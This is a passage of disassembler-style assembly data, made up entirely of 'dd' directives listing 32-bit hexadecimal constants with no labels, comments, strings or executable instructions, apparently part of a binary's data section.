0D962B6B2h, 3203F112h dd 6EBFF091h, 711BFCh, 54A2E0D2h, 4F5BE784h, 76503907h dd 0FF7D3CBh, 9F972380h, 0C94600EAh, 14A1CEE0h, 0F6002661h dd 58D89B8Fh, 1C7B2DE4h, 5EA9D787h, 0E3AC0082h, 4A16FF6Eh dd 8F9A5300h, 0F218F3ECh, 96E800E9h, 66BA8B6Ch, 58000995h dd 0B6A2AFB9h, 2499B0CEh, 57593Ah, 64B7B3CAh, 8B00F33Eh dd 0A7B6E111h, 24C95775h, 31C2C32h, 0CF831A35h, 0AA1EE7E0h dd 0F0BFF60Eh, 0E9D68C03h, 7044A073h, 0A8497ABBh, 12399Ch dd 0F6A4CA94h, 797AA6C5h, 19302800h, 0BAC9D11Eh, 83CB00C2h dd 771599AAh, 140092ABh, 533E89F6h, 39DFE9h, 2656F103h dd 0CFC48B7Eh, 90009A71h, 94E2DAA6h, 9CA79Bh, 686E9DC1h dd 0ACD8021h, 0D04D1F39h, 4200E2ECh, 7E39F4Eh, 1828D938h dd 0D86371EEh, 6A12D666h, 4C01A98h, 9648D85h, 0A89B54F1h dd 879C000Ah, 0D00470BCh, 9E121F80h, 0F0051A00h, 0AC25C134h dd 2403B027h, 62C7EAEh, 3983F860h, 0F2B8840Fh, 6B3CC0B9h dd 903A7502h, 0F3225008h dd 0A46A4878h, 0E080EF3Fh, 1ACE2EBEh, 0F300DF9Bh, 0D788242h dd 485C8F8Dh, 28802813h, 0FC2C2555h, 0CA985D00h, 0F7F2A4C5h dd 7CF10037h, 0FFA5CD74h, 4F1D430Bh, 4E00F658h, 918AA85Ah dd 0B6D10061h, 0D5EBE676h, 0AB001EE3h, 5166AA33h, 0FF3F0Eh dd 0A4CDC6D4h, 847DF943h, 0AFF74402h, 0F13DE8C0h, 0AB170084h dd 7D16F3F4h, 25FADE00h, 9DF59464h, 0E21103E1h, 8A011EC9h dd 17731112h, 0A4C24800h, 914ECh, 9AB1DD98h, 0E5A0026Ch dd 3D078100h, 57279B99h, 0C668017Bh, 0F5BE4AC8h, 0EA5A8386h dd 989C7CEDh, 90ADB90Dh, 0DC8000D4h, 81B492BFh, 29000161h dd 1A8727DFh, 0FC205603h, 3FF20151h, 8FAC8A32h, 90B8CC41h dd 95070B00h, 0C0221DB6h, 2BAB3FB0h, 7933EF80h, 0CD85D07Ch dd 80C3AF0Fh, 15D800DBh, 92206Fh, 1F90663Bh, 944CC016h dd 0C3985300h, 0BEF2D5D4h, 0C0900E6h, 924710FFh, 0DC03A8FAh dd 0DDEE57E8h, 0A87FC301h, 0A8D932AFh, 0B3A3E4h, 3384B2AEh dd 0A43971ADh, 1CFF3D12h, 0D41C10h, 6BF91260h, 243C2119h dd 0A81A8Ah, 9D659684h, 0F5000A64h, 90481ED6h, 0B3404Ch dd 9EB7E2DCh, 177273EAh, 0E38BEE01h, 8F1987B2h, 88A75880h dd 1C79353Bh, 9F3F731Eh, 64C0CD9Dh, 77512A40h, 545F000Bh dd 974E4A36h, 68241BE1h, 6F076CF3h, 0E9933DADh, 2C3A83E0h dd 0FCFF750h, 514932BBh, 0FC2EDC80h, 9C0CA9B6h, 2935CA56h dd 1CCC9032h, 0EEF7A7D9h, 0A152804Ch, 0FD952905h, 0B002AE2h dd 72C9B55Eh, 1BA2E38h, 0AF2F993Eh, 50168613h, 595FF18Ch dd 544CB007h, 1BA408E0h, 86504CC7h, 980D9A9Eh, 0A6470796h dd 0B7AEE5E8h, 0AF30F7FAh, 38267F82h, 0DE9A8C40h, 14886803h dd 991805FFh, 82E07BC1h, 2273005Eh, 0B8129586h, 3E17BB04h dd 26001170h, 0BC96C8F3h, 0CBF500F1h, 704AE0Fh, 0C2010C86h dd 0C0932611h, 0B4F94030h, 7C70002Ah, 165D0E24h, 41BA9707h dd 0C470056Ch, 1DFABA7h, 1BDB3DFEh, 20698327h, 0E83D7766h dd 74EC803Ah, 22ADD5CEh, 5CFA3Eh, 0F76866F1h, 0A3FEB942h dd 8A543616h, 3E004EA8h, 0FD97167h, 0C14864A8h, 9B2EC0D4h dd 1EEF5A81h, 4F5D0AE8h, 6340A2CEh, 0F89606D5h, 0F1334E00h dd 0C9D6B7C6h, 12D40019h, 0CF4FE840h, 0EF00E9FDh, 0D5DC313Eh dd 0E65442Fh, 3973D8BEh, 0D19D29E0h, 261DDBECh, 6BC0CFE9h dd 8308328Ch, 3DD007Eh, 4DC9DA0Bh, 0D60007F8h, 0E1BB1E02h dd 2865BAh, 73545689h, 2541CB6Bh, 71464700h, 0D2C77827h dd 9CF01BBh, 0CAE4C964h, 8854F0C4h, 578B1F00h, 81F2F028h dd 496C02C1h, 0E906CF9Fh, 0E7B87540h, 898EDD09h, 0C074C816h dd 0FD63005Ch, 680693E6h, 0B0E0473h, 0C0DCCBC3h, 0CD59293Bh dd 0D1B80F7Eh, 0C0DEFBD0h, 0EE7D935Bh, 500C2A9h, 644E9D89h dd 179EE435h, 817542F4h, 0E03F34E8h, 11C851DFh, 7B640854h dd 1A003C9Eh, 6F5829B4h, 57E0032h, 2DF7FF12h, 0DF00827Ah dd 0EACA93AAh, 0BE2758B7h, 0C31863B0h, 7CD4012h, 0AF6084D0h dd 0C420CE2Bh, 83832644h, 781E48D5h, 0A0D77B23h, 9109CCC2h dd 46F4E11Ch, 3E100001h, 787EDE18h, 832FBBD3h, 0C5D49812h dd 42A80E7Ch, 0A0408EB6h, 71869826h, 0B000B9B0h, 2718606Ch dd 5A722Ah, 41CA5949h, 0F5DE2428h, 6324007h, 80532970h dd 0B88FB0CBh, 436300FDh, 71E9CF0Dh, 3E0EE3BBh, 26355Dh dd 6A5B8B29h, 780F0770h, 90E2FC84h, 0A9329775h, 46818501h dd 0F49F0ED4h, 5716C8h, 6EE65F8Ah, 541E6619h, 0E71FD303h dd 0C8F07F4Ch, 0AFC978h, 67AB6B9Fh, 69DFA120h, 0E61E100h dd 0AA41B4DBh, 0A01A0615h, 2034C5CEh, 5011D80Fh, 0E34F5EE7h dd 0BA754577h, 3821C4B0h, 1F0F98E6h, 0C40720Bh, 2E0371E5h dd 0F72EEDB0h, 0FC006C2Bh, 186D2AAEh, 6301B070h, 6A140916h dd 6EFD07D0h, 0C87A1F00h, 0E3B04332h, 447F11h, 0F0968DEDh dd 84094146h, 6D0ECD73h, 445BFDF8h, 90C05433h, 0B6D78Bh dd 0A38C9FB0h, 99AD9A17h, 31297C00h, 0C6C01A19h, 0C8C300BBh dd 4D92B982h, 784C2FD8h, 0EA3000C4h, 0D4D31321h, 76BC00B2h dd 5B313832h, 0BB90F78Fh, 0EC6B7E26h, 0BB1B7903h, 1139000Eh dd 6C23D115h, 2B00376Eh, 86A6F8F6h, 739556h, 59962176h dd 4EBB1483h, 0CC821126h, 1B29C00h, 3FEFDD9Eh, 792C03F0h dd 6E408074h, 998912B5h, 1C904900h, 88F453B3h, 72DE0533h dd 0D01322C4h, 0C1E5E184h, 0FADD8101h, 6B299B9Ch, 5C00A828h dd 7F693258h, 20953951h, 8B04FD00h, 670E0B42h, 4480B5F6h dd 7D7C15BDh, 0F3F4C7B8h, 0C79C39h, 6019BEEAh, 340C179h dd 51E570AAh, 0BFD01AACh, 3070F2Fh, 0A2CD21E0h, 3048A130h dd 6ADE07C7h, 40194DDFh, 23F98F96h, 0E1041098h, 51CB9479h dd 0E8F8FE82h, 0A7FFFCh, 0F6D9D540h, 94596C2Eh, 53555607h dd 80E99843h, 0F8284074h, 7CCF00BCh, 2F4603D7h, 8000DEC0h dd 456C06A9h, 1482D3E3h, 0C8716E9Bh, 95350073h, 0FABE0C7Bh dd 0BB03B06Dh, 144B33E7h, 132AE844h, 0E4860041h, 0D60CCAD2h dd 70F86E0Bh, 0E7946B05h, 0B890AE46h, 0E8FD79h, 856F9CA1h dd 1FE4AA16h, 0B668C03h, 0C0D8FB94h, 3A9BFEh, 0C024BA74h dd 50695592h, 0DBBEA300h, 0A8BF97C8h, 190F007Fh, 9C4A5377h dd 0B607E8F1h, 0EB0C8DABh, 0B076D8A3h, 0B0A6CC05h, 49C70A6Ch dd 7F08AFAh, 91240360h, 426F9808h, 5458EDECh, 0AC2DD326h dd 23A04380h, 0F79BFE4h, 6A661A24h, 0E8F83F40h, 0D0009C82h dd 42360CC3h, 248A52h, 40ED3EC6h, 6A1B909h, 14BB822Ch dd 3527D05h, 7F55CC00h, 0A040BA4Fh, 61B5A8h, 0C7F32745h dd 48328E5Ah, 5C501500h, 7A1A282Dh, 0BD9F1276h, 8C60C00Fh dd 0CA24B148h, 0E709754Dh, 0D440102Dh, 96E900EEh, 46D1401h dd 4400183Dh, 0DB97FE5Ah, 0B9B51E7h, 234269B9h, 8900E8F8h dd 0B6DC5234h, 3FDA53h, 0A5C19958h, 5F804B23h, 0A771EB00h dd 98AA2C86h, 2B2A0073h, 0E4F31104h, 0A43ED097h, 1F007D77h dd 9FC77C70h, 2C5F940h, 0B789DC35h, 0B4805E31h, 51A9A15Ah dd 9E246FF2h, 6E408CC1h, 77138D2h, 7611E17Ah, 7521044h dd 0E90041ACh, 0DE8FB13Ch, 1F932CFAh, 80FD3618h, 86C9C3F9h dd 5E5DD9EDh, 0F4520008h, 77EB3223h, 0D8090016h, 0AF548D65h dd 0D277CDB8h, 0A62B73Eh, 98DDD90Ch, 0E8201297h, 701083h dd 17F93BB2h, 0D5B17256h, 6DDCDF02h, 0E0A6D4E4h, 43DBECh dd 0E91FEB0Eh, 62B3E581h, 6F5B8200h, 0BC2D694Fh, 0C7FAE3h dd 12E6D5DBh, 5DB7A57Bh, 14003CB8h, 0CC0EED9h, 0A3FACD4Ch dd 0D81CB089h, 47B700D2h, 0F061F86Ch, 4900DC4Dh, 93DF7FCCh dd 52FC9Ah, 6877E73Eh, 91E6B8B1h, 0CE1CD509h, 71138028h dd 0FCD01Eh, 0F812A0CDh, 7EDBACA5h, 26541600h, 0EA95891Fh dd 4E5200B0h, 0DAB8C5A4h, 0B97DF211h, 0B760F370h, 83F50710h dd 5AA7176h, 7A99EC2Ch, 0E4FC900Ch, 5A01E2FDh, 0DBA3D4A8h dd 90415010h, 4824BE4Bh, 0A16506C1h, 101F58ADh, 0A277A706h dd 2119BAh, 0C566734Fh, 20B4692Dh, 91294660h, 9CB967B2h dd 750E034Ch, 0EE80F852h, 7C9E7B27h, 80392A0Fh, 0FDACB08Dh dd 0EAD0078Ch, 0D07F6A70h, 0AA4C3C66h, 70439933h, 9507C96Eh dd 72E770h, 5B83EF6Bh, 0A4387509h, 414A100h, 0E7163226h dd 12680ACDh, 0B807263h, 0AD004664h, 92AAB7E8h, 7600917Ch dd 0F4E98613h, 0F6478E8Bh dd 89653BE4h, 5BAEEB03h, 0E2A02018h, 330023FCh, 0E747313Bh dd 7250AEAh, 0B97FDE2Ch, 3802A243h, 976CCC0h, 296D7E00h dd 0E2BBF428h, 0EB3600ACh, 0A39A8784h, 0D21F2D95h, 0A840A5EDh dd 9FDFE36Ah, 0D690001Fh, 28551144h, 0D1000E7Ah, 6484D88Ch dd 0A2039h, 0E20B5C4Eh, 4479CD83h, 193B3D00h, 0F0714B2Eh dd 387FB5h, 0ACCF9E87h, 0A225AE9Ah, 0CBDC000h, 0B685547Fh dd 51290A89h, 1FD90B56h, 0C245C09Bh, 15CA35DFh, 4D00AC7Ch dd 32B45B27h, 1B26D3Eh, 4A873CFEh, 0EF6EAD71h, 96930085h dd 0A4B9DD1Eh, 0D3FE490h, 0BD1CF748h, 65054591h, 0C8A41B33h dd 3FDBEE36h, 678F562Ah, 7C4064C1h, 6D0DF8EFh, 7D864A00h dd 0E469E5EEh, 0C6EC3C53h, 7FFE4C81h, 8081A2F1h, 552D36Ch dd 0E8FAD54Dh, 1D307004h, 4080B648h, 6D122E5Bh, 7029291h dd 443229FEh, 48A56054h, 203B00DFh, 0AEF40834h, 0DC74B02Bh dd 0D80EDD16h, 60C0D494h, 70DC9D9h, 0B3396B80h, 927C1006h dd 0E81F8DE9h, 45C3941Eh, 0F86FD2C3h, 5C54318h, 1C861D55h dd 201B836h, 9E3C13C1h, 40547C48h, 7C95652Eh, 0E98C0D06h dd 597384h, 8A7A5E6Ch, 5863D4F5h, 58455Dh, 300E5F3Dh, 1220F7FEh dd 0CB2891A9h, 0D117A020h, 872D181Bh, 0D2A17147h, 644C2097h dd 0BBB6977h, 609E2868h, 0F883370Bh, 42DF2758h, 0EC52466Ch dd 48A4BF0Fh, 203F01CFh, 1BD03CD1h, 96F260B3h, 51C2D627h dd 5C49FC00h, 96B994A2h, 58FB0078h, 4EFCB39h, 267C28C4h dd 0A095A074h, 98BF94B0h, 34D10048h, 242FCD3Fh, 4F001DDDh dd 4A0BBA33h, 1D545FB9h, 65A269ADh, 15474096h, 0FAE875h dd 92196310h, 48FE5BA2h, 0EF725200h, 166FED51h, 0DBD038E4h dd 9E05F800h, 0FA184889h, 0A9CFC22Ch, 23C74C00h, 0BFCCADh dd 6C10CE3Bh, 47EB3D88h, 0B10C3501h, 92129B50h, 0CF60C8h dd 963E56EFh, 1D03648h, 51EAF215h, 905F07B4h, 0A510588Dh dd 3F534788h, 0F1929Dh, 4AFD8E99h, 0CFFC9138h, 9CAF9F02h dd 80AE9077h, 8E7D7E04h, 986775A8h, 2A3033Ah, 0FAD4DF75h dd 555E12A0h, 92A253Ah, 0C1D09A52h, 0EFC803B8h, 5C48002Fh dd 0F342149Ch, 0B038D6B5h, 5D00FA35h, 95F1320Dh, 2EEB12E9h dd 9D7C7A1Ch, 9096C0E5h, 22D614BDh, 2E574600h, 0FD38F73Bh dd 5FCD00B2h, 187BC440h, 0B8785D72h, 4900C49Eh, 0A7F6B032h dd 0DE6E3FEBh, 80D33A9Ch, 0BBC77BE3h, 0EE00F9A9h, 1C1B751Dh dd 0EAB56CFAh, 32B20787h, 0E07F14CDh, 0D8B7A630h, 978DB400h dd 0E2F999F4h, 0C87000BCh, 9DD6D977h, 0BF2A1A6h, 0EA633C0Fh dd 0FA1E6062h, 284959h, 0E855EE66h, 84A8E140h, 1A016E75h dd 4764CB7Fh, 2CDC98B9h, 5FC300FAh, 0CEC522BCh, 2D0160ADh dd 5805F7A1h, 0DD4117D3h, 79E02166h, 8CEC0EDFh, 0ADACF65Ah dd 607AA40h, 0D2042F7h, 77A326F0h, 36570187h, 0F64786E6h dd 2F5080FDh, 0CBF26540h, 87090F59h, 89409C0Dh, 0FECAF921h dd 49F4FC00h, 0F8FB326Fh, 96F1038Ch, 8E2BEC54h, 15DC6800h dd 28211712h, 102D0182h, 0E5909FBEh, 0A486F4A3h, 0D758DC00h dd 6CFBECE7h, 0C2FD002Dh, 0FA7AB2E8h, 5F018BE5h, 0D0396E95h dd 0F24006AEh, 0A1711Dh, 20DC7751h, 1629F7D4h, 8961B000h dd 3906B8F8h, 7D2C0007h, 36FF9FCDh, 0BAB8258Eh, 0ECA0DE00h dd 0D845B1C2h, 0AB4E0011h, 1F0FC6Ah, 0F8BF81EBh, 0E62A03D8h dd 336C0D2Dh, 0BE265AF8h, 0F4829A00h, 3D637D41h, 0AEF300C6h dd 0F9289E36h, 0A600CB79h, 1872218Ah, 793ACD07h, 5EC300ECh dd 14DA0908h, 0B6E2165Dh, 0B56D9A00h, 0B2315A91h, 58AE6013h dd 0E1B14A5Bh, 29490D1Dh, 0C419D50Ah, 6B1D2000h, 0E17AD670h dd 60CEF052h, 95A51Bh, 0EE3A5D45h, 8B579AD3h, 0D5942900h dd 0DFE86FA7h, 0E1B51DCCh, 6EAE00D8h, 87919CACh, 0C70ED090h dd 8A58EEh, 7B072A98h, 31E31694h, 1EB80640h, 0FD0168ACh dd 688DDE5Fh, 0B08072A8h, 0FE2FECBFh, 300BD4C2h, 8E495BF1h dd 3709C2B9h, 82F88FD0h, 8FFDDAE0h, 0D38847D0h, 0AB81B375h dd 38800BFEh, 0C24F5CF0h, 0DC00F529h, 2B11CD14h, 7F7C6Ah dd 5C8284A0h, 41078643h, 0E3366C00h, 944E1D4h, 0D8FA0BC2h dd 93805315h, 0C531EA90h, 0D7916707h, 8494A0D1h, 0EBAD8B80h dd 9D58065Fh, 7918A2E9h, 8E29F400h, 7F54F1BAh, 191C60ABh dd 0A6917E8Ch, 78AF3C1Fh, 802CAABDh, 0AAEBC405h, 2A803442h dd 2847A7D6h, 1C62D8h, 0FA77A620h, 0CE3EC28Eh, 48C11500h dd 0F697CD53h, 28C90F1h, 0A962B642h, 0AAC0D6B2h, 0C903D220h dd 0D8FE0FDBh, 0E700C71Ah, 0F21C461h, 621355A5h, 635E80BCh dd 177057F0h, 0CEF8C800h, 3E10F1AEh, 9F1C0084h, 7CD18FC4h dd 0A7073461h, 48550A64h, 0A6C00C54h, 359FAEh, 66152FA6h dd 0CB3C8B9Ch, 0BD40141Ch, 85BE9280h, 7A4EB2E4h, 37BC005Bh dd 0A98C3B72h, 0E72D33E2h, 0E5641h, 0E82858E5h, 810160A2h dd 5E2BFF3Bh, 41D47536h, 0B1A51DC1h, 97D24E49h, 7B7EDC43h dd 0C668AEE8h, 0ADA05E13h, 0F1A82440h, 1E0D4EEBh, 801692E1h dd 6CFE800Eh, 0D900032Eh, 4C6FA1D4h, 3ADA73h, 852F75F8h dd 0F925B411h, 0B02CFC0Eh, 634BA0E1h, 0A2FB74B1h, 579C0192h dd 0AD827B6h, 4B990249h, 0A0770756h, 8B70E080h, 0ED2435C2h dd 0EA00607Bh, 73601C4Bh, 4BB01C1h, 1F346B19h, 1FE8470Ah dd 5E0F0CC3h, 24281107h, 0F95037h, 9A415FA0h, 13D0796h dd 90883EC6h, 57ADE22Ah, 0E040892h, 0D1586C15h, 0C6D58480h dd 0A21D0FABh, 7040DA19h, 8E7FBF20h, 846063E6h, 0EA83E364h dd 38FC0017h, 0B41B09E8h, 41005003h, 20BC7AB1h, 0F2A8AEh dd 0EEA64A8Ch, 84978191h, 75ED1B00h, 8A5542C6h, 563F000Fh dd 0F5353E8Dh, 8507924Dh, 0BDC3DD5Fh, 0E3904Ch, 8291C8ABh dd 4F6893CDh, 10312100h, 122FF2Bh, 986C0094h, 0E3AF08Dh dd 0C2006992h, 0A5192F89h, 0EFDCA0h, 7FE31C95h, 4A7B55D3h dd 40DB3E03h, 0F0EEE4D7h, 5F8152h, 9805E244h, 2D92BEC5h dd 59F40700h, 41F7E539h, 8F12305Ah, 0DC748C11h, 9F25D00h dd 19A34814h, 607700B0h, 335702D6h, 7100F64Dh, 819E858Bh dd 7BFACE14h, 7D5600DEh, 0DF6BA523h, 5AE6C4D0h, 4B0371F8h dd 5659D86Eh, 0DD509FE9h, 0F1AA413h, 12088234h, 0F9B8BFA2h dd 0FA22C280h, 0F500C22Dh, 6B58B971h, 3ACBA814h, 55077F92h dd 7E5D2AF6h, 61F52267h, 571ADD1Dh, 0D2E540D4h, 81FE2794h dd 5F006FB0h, 4D154942h, 8B2030h, 48037A62h, 112C7198h dd 0B70CC500h, 9F947204h, 32DA006Ch, 0C308D2EDh, 0B300C782h dd 22344754h, 729ED906h, 3C3D7D4Ch, 0EB833FB8h, 25758FE8h dd 131E8074h, 0F40760CEh, 0F06D069h, 0FC7F0018h, 2B0890EEh dd 0E874AEA6h, 0E76F9274h, 80F80F20h, 236D8F99h, 125E84Eh dd 36770AC0h, 0E0ECE9A2h, 2B036F5Bh, 132E8E20h, 653800FCh dd 6671E175h, 0DE0590F4h, 0EECB7D33h, 30F8401h, 69F82043h dd 7744A0D3h, 61CE0F23h, 0D18AF575h, 20D59050h, 0A70E0110h dd 37180201h, 0FA99E0B6h, 1E43F84Ch, 8E40CF4Ch, 0DFB4F162h dd 1489011Ah, 3CAFF12h, 0FA2160F7h, 67A39D00h, 6170505Ch dd 6813B99h, 0A44A6B83h, 8DD0978Ch, 2B00B47Fh, 5559B9EAh dd 193AE2h, 0C2231314h, 1DE0A169h, 0D4D43639h, 390031ECh dd 0C1A90B7Fh, 61ECE5h, 0C5144A83h, 0F6CC96EEh, 9775602h dd 0A0291260h dd 88662390h, 5C430780h, 0F07F6A52h, 854A7C07h, 0D4696C06h dd 26066DFh, 0C39BD60Fh, 9C8067A8h, 792790E5h, 1076274h dd 6B0FDA96h, 38C702C0h, 65242810h, 6A2800A0h, 0CC626678h dd 7D0A6DFEh, 0BD8D4BD5h, 3A9F305h, 89FBB042h, 0FDCCA1E9h dd 11C410AEh, 4610F12Ah, 2601B318h, 86A2A841h, 0D1D84C91h dd 431C002Eh, 11882BE0h, 0C401FB16h, 56356E27h, 41842D12h dd 0C067D077h, 9E74A6EFh, 30D8589Dh, 0AC211572h, 690067C6h dd 3B5D01Eh, 618AFB18h, 93F391DEh, 0F089B0FFh, 0C01C0E28h dd 0B0240511h, 18181694h, 19511211h, 43B0474h, 6AD573h dd 0FD0D7FCBh, 8976005Dh, 0A1DCB979h, 0C003D4EEh, 0F3CD13A3h dd 0C4FE9887h, 174A7E80h, 48E56Ah, 0A04DC08Bh, 4B00BE5Dh dd 0AFBA5984h, 13B95E69h, 3C4312Eh, 74C12120h, 0D46E0900h dd 0EF71DF1Fh, 0A94400EAh, 0DC27F6AAh, 0DD03FF77h, 10530BE5h dd 8FDAA869h, 0F9E61D68h, 7E36408Ah, 0ABB2829Ch, 0B5C43300h dd 7DEFAA08h, 0FEF60761h, 0A01BB8A1h, 7BFCE7B6h, 528D4700h dd 6CD0BF27h, 990E0002h, 9E5BE9C4h, 91004FC6h, 36716765h dd 1FB2D411h, 9C8B3BBBh, 0D8FB83A4h, 683DE7CDh, 0D5B780CAh dd 2A34371Eh, 999600B6h, 9CBC2961h, 0DDEA7FF0h, 0B8CB4D00h dd 7501D2BAh, 0D0E084h, 4397F4F7h, 15B95290h, 1BD4E800h dd 13DAD926h, 66CC007Bh, 0BF62B136h, 0E5639A56h, 0F882F019h dd 0EE43CB2h, 0D0304323h, 62E0F960h, 0C600F3E9h, 8B66EC69h dd 28CC3Bh, 36C8A0BCh, 25220884h, 7B981E71h, 0DD001479h dd 37307C5Bh, 2F036C97h, 1CDE270Ah, 0F3B34B00h, 3C7685h dd 7DC2BA24h, 59D5089Fh, 86BEF4A0h, 0A0025B8h, 9BB071FFh dd 21814Eh, 3CC4F4CAh, 0D9727A80h, 3D5FF805h, 80EAF534h dd 0C2CE1692h, 0A8C940C0h, 354F345h, 63E922CCh, 70EF5BFBh dd 31567C99h, 410A3601h, 517A0401h, 4DC1A440h, 18520091h dd 47CBE513h, 21006389h, 4C665C08h, 5FF0C7h, 0F3746AE0h dd 0EFAD2816h, 0EBABD4A1h, 80D9ECA9h, 55D7FE11h, 3F15DFh dd 0DB1B9D4Eh, 4F431234h, 0B0175900h, 0B619203Bh, 0B3BD0731h dd 9001A3ADh, 0EFFFF2B1h, 7B664F1Eh, 0C555BE40h, 20AF49Ch dd 9F5983Fh, 89C05F3Ah, 0F800DE7Bh, 0A14ECF5Dh, 0A8D1D79Dh dd 2E394h, 7DADF003h, 29365AC5h, 253438h, 0CABFC3DBh, 39DD8C83h dd 0A68556CDh, 4752781h, 432E28C0h, 0C8231659h, 960501h dd 1DC9CD73h, 0D148C3AAh, 961E48h, 498CBF32h, 7799A02Ah dd 1B3E004Eh, 0E1874DCEh, 0FC01E267h, 75AFB26Eh, 0D0404861h dd 807F1BFDh, 21033A0Bh, 0B6DD963Ch, 0CBF01408h, 0A604C420h dd 807A1AEBh, 0D5831330h, 0C2AAB207h, 0E9700A40h, 483269BDh dd 1600613Fh, 18FD04F7h, 0E7010BA3h, 1DDD7F43h, 50D91F8Fh dd 31BBC840h, 0C7D702A4h, 0F3595E08h, 82529480h, 790067D3h dd 767F21B2h, 1D9B72B3h, 0BD331697h, 5E934A80h, 0C77A142Eh dd 90262C92h, 0D800943Ah, 0D638ED3Eh, 0D55907AEh, 0A028E557h dd 11C0713Fh, 0B0A1A60Ah, 0FF80A076h, 0C13C042Fh, 155F0EABh dd 0B9A08F26h, 4C2E959Ah, 7C80BF00h, 0E3BEB465h, 0EDEC00E1h dd 75D28A59h, 880090E9h, 12EE749Ah, 621FACh, 8EF606Ch dd 0F868EA47h, 1C6AD70Fh, 0A0B78E55h, 0F597EBBCh, 23C20051h dd 15BF4BABh, 4203245Bh, 0A6A5BEA2h, 2C190029h, 54D97060h dd 2E0023FDh, 0F01DB6A0h, 3A6E7E90h, 8B070778h, 30259E75h dd 87083E3Bh, 0A0F3C00h, 3AD19C5h, 0F367564h, 0AAB1D7FCh dd 389E4BE0h, 2F0E201Bh, 40287B01h, 0CA587982h, 0AC3B1E1Fh dd 85B380DDh, 6AAF2D55h, 0C2F7F500h, 0C14481C5h, 6106304Bh dd 59672AECh, 7C9BD3Fh, 0F5D7BC63h, 0D01ECB63h, 0D4751Bh dd 0CFDBDAE1h, 0B9DCA956h, 875F5300h, 70249974h, 0E1CD1CE8h dd 82EC001Eh, 27694B85h, 0C51C1928h, 0C41F1700h, 5B7E543Eh dd 0EC3F0CC2h, 0F2EE73FFh, 0F1EDF01Dh, 0E4695E00h, 241C952Fh dd 9004FA22h, 0C7EA0078h, 71395F66h, 0F360005Ch, 727BFAA1h dd 4F18160Ch, 0CC10A612h, 54190534h, 80151C3Eh, 0F4110988h dd 750DC48h, 0C8F2A14h, 35A1E310h, 0F87D121Dh, 0FD8000ABh dd 4484488Ah, 9A84F554h, 12D7BB1Eh, 4840A156h, 6A53A93Eh dd 2E270024h, 1D48F5DEh, 987BA7h, 5F123000h, 25D63111h dd 0FB6C048Fh, 8048464Fh, 16CF473Ch, 0AC84580Eh, 19770C4Bh dd 0CE260076h, 38AABAEh, 7100285Bh, 0B857C5FFh, 0C569246h dd 24C190BDh, 22982131h, 0DAAFB600h, 0E6DD5469h, 0CC1F508Ah dd 0A3963EA8h, 101D1598h, 9900F312h, 2E6BCFE7h, 3D83A43h dd 58F45CC7h, 0B5C0DF92h, 51489581h, 875E8934h, 9DC0DD24h dd 718678h, 4D08CE6Bh, 0D6C7E5E9h, 7B00E872h, 4AB85FE3h dd 662E0Eh, 0F6A806BDh, 0B9E5C7ABh, 22BA1B00h, 4BA77523h dd 3FF703D6h, 42FA8724h, 0C35A5ED8h, 0A802040Eh, 1F8D40C8h dd 0F39F2C37h, 3D762BF4h, 0F080E0D8h, 7FA00E66h, 0AF0089ABh dd 1A3469EDh, 0B0DE01h, 0E03298BDh, 0C3963530h, 0CD7F53F4h dd 5CDBAB00h, 0CE374CF7h, 5C67CB7h, 8BB50CCBh, 80EC01BAh dd 0C4351CE4h, 0CE003918h, 0BDB4933Bh, 9C3AE7h, 0FAD96F25h dd 7F69A58Bh, 0FB00ADB0h, 0AC98ED44h, 0C957D6h, 553B0A24h dd 85A013C6h, 0A3820902h, 68FD7906h, 747F3AECh, 4770C083h dd 4B4D3271h, 1425DA01h, 0C0FE9DEEh, 3B467024h, 0E78B987h dd 0D8820264h, 0A1820B8Eh, 28827B06h, 0E910A94Ah, 181D0EC1h dd 2C81B1EEh, 0C43F1693h, 4A01F31Ch, 0A1C2B481h, 0F5C43348h dd 7A0500E0h, 83EE16FDh, 0AF004F39h, 18CC0A34h, 0AF0C804h dd 804A0564h, 0E9810330h, 38FE191Dh, 0A9CAAF0Fh, 0BF1C8ED1h dd 66423FC0h, 914C27h, 8083FCB8h, 0EFDC329Dh, 7CE5FA12h dd 0A9DFDE00h, 2E3E81h, 0E2B91E3Ah, 76DD98B7h, 34E44B00h dd 0B30C3D7h, 0B2433B02h, 2101E0BCh, 5A4B821Fh, 0D41080DBh dd 0BE43C032h, 2F3080B5h, 230EA0CFh, 84AC2Ch, 0BC0360B1h dd 1D01EE19h, 0FAFFC019h, 21805708h, 0BFBC0B45h, 53E46192h dd 7E767D01h, 0FE976B5Fh, 2FC9B050h, 0E10B187Fh, 1DE511C1h dd 4F247B00h, 47FDDA1Bh, 0DB08CC43h, 35090621h, 71A47Bh dd 0B36899D5h, 0A2B2033Dh, 0C5BA6770h, 0ADEE2890h, 0C9146A04h dd 40888713h, 0B4275CDEh, 0E04D3503h, 88E3D84h, 0F82181FDh dd 99DE812Fh, 3FCC2C9h, 1EB24888h, 0DAC54F03h, 58001B70h dd 7F2ED033h, 66DB6EBFh, 0EA49D05Eh, 163ACD30h, 0B62C8D3h dd 0AB0D1F69h, 0DBD63400h, 0B7003F23h, 3DA564E9h, 1F1CC693h dd 0DE3934B9h, 8003A06h, 7CA1DAD7h, 9F3A474Dh, 0A7F700E3h dd 0EBCA5C2h, 1B890C29h, 0C60961A3h, 9DA221C0h, 0DF69BCh dd 5D3DD102h, 0D5801C58h, 0F0F7B706h, 284FCAh, 64486DE2h dd 0C384D48Fh, 3CCCD619h, 21805808h, 664508Ah, 0BF78EFCAh dd 9E2B60C0h, 0C543AA8h, 0B9F69A9Ch, 25B05519h, 69B2660Eh dd 9DF481B4h, 17C4310Ch, 0BEBF03C8h, 169F48F7h, 0D4B3048h dd 68FC3588h, 10917E0h, 1296A323h, 0EF7E49B6h, 21100830h dd 323F141h, 0E9628E77h, 0DED0820Ah, 0F788022Ah, 309EE81Dh dd 0C711A3EFh, 64010E9Bh, 0FB698E3Eh, 8989626h, 93E421B3h dd 0AF600E01h, 0DA2BF8EFh, 8498A0B2h, 0F4230D30h, 22F24696h dd 0F53D0011h, 7826FC23h, 5330D029h, 31E848DBh, 0E07F2A1Dh dd 24E46E0h dd 290DBCA4h, 10C83191h, 1BC9CA1h, 0FC440379h, 4658394Ah dd 0CD205824h, 0D2B0467h, 83FC92F5h, 6E0752Dh, 98E0D81Eh dd 80AAD63Ah, 70C643B2h, 181444F8h, 18B818C5h, 153AD59Fh dd 0ADA7079Bh, 64703476h, 1B558AD4h, 407EEFEDh, 27053698h dd 519F2230h, 3C34B79h, 1004ABD5h, 0CBB3FA23h, 16E057BBh dd 0B883BA5Bh, 0F86F507h, 0BB555E6Ah, 